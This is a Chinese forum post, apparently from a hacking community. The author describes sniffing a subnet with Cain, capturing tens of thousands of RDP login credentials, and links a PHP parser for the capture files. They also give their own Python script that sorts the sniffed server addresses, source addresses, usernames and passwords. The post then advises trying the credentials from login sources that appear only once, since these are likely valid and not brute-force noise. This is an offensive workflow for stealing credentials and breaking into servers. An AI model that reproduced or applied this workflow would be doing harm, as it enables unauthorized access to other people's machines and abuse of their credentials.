本帖最后由 sladjfksld 于 2015-11-20 11:46 编辑
前几天用cain嗅探一个C段时,嗅出了一堆3389登录账号密码,大概有几万个吧,其中大部分都是别人爆破的记录,是无效的的。
cain把每个登录记录都保存一个txt,用cain rdp parser读取的话,要点开好几万次txt,那得搞死个人,并且也不容以判断哪个是有效的,哪个是爆破的。
在网上down了一个批量读取记录的php脚本,下载地址见:http://lcx.cc/?i=3307,读出来的账号密码单独保存在一个txt中,就是下面的截图
但是这玩意儿有好几万个记录,也不好判断哪个有效啊,然后无赖之下就写了个python脚本,便于分析
脚本代码如下:
[AppleScript] 纯文本查看 复制代码 import string
list=[]
list_server=[]
depre_list_server=[]
result_list=[]
#提取被爆破serve的IP地址,并去重
def obtain_server_address():
for line in open('rdp.txt'):
list.append(line)
for line_list in list:
if('Server' in line_list):
line_server_address=line_list.split(':')[1].strip()
list_server.append(line_server_address)
else:
pass
list_server_depre=set(list_server)
for i in list_server_depre:
depre_list_server.append(i)
#按被爆破serverIP地址,登录源地址,账号,密码打印列出
def trans_str():
for server_address in depre_list_server:
for line_index,value in enumerate(list):
if(server_address in value):
client_address_index=line_index+1
username_index=line_index+2
password_index=line_index+3
if('Client' in list[client_address_index]):
client_address=list[client_address_index].split(':')[1].strip()
else:
client_address='不存在client server'
if('username' in list[username_index]):
username=list[username_index].split(':')[1].strip().replace(' ','')
else:
username='不存在username'
if('password' in list[password_index]):
password=list[password_index].split(':')[1].strip().replace(' ','')
else:
password='不存在password'
result=server_address+' '+client_address+' '+username+' '+password
result_list.append(result)
else:
pass
for result_index,result_line in enumerate(result_list):
result_dict=result_line.split(' ')
if(result_index==0):
print result_line
elif(result_index>0):
if(result_dict[0]!=result_list[result_index-1].split(' ')[0]):
print result_line
else:
print ' ',result_dict[1],result_dict[2],result_dict[3]
else:
print '出现错误'
if __name__=="__main__":
obtain_server_address()
trans_str()
执行结果见图
第一列是服务器地址,第二列是登录源地址,第三列是账号,第四列是密码。可以看到登录源地址大部分都相同,这肯定是爆破记录,一般都是无效的,不用去登录尝试了
只需要重点找那些单独出现的登录源地址对应的账号密码尝试就OK了
|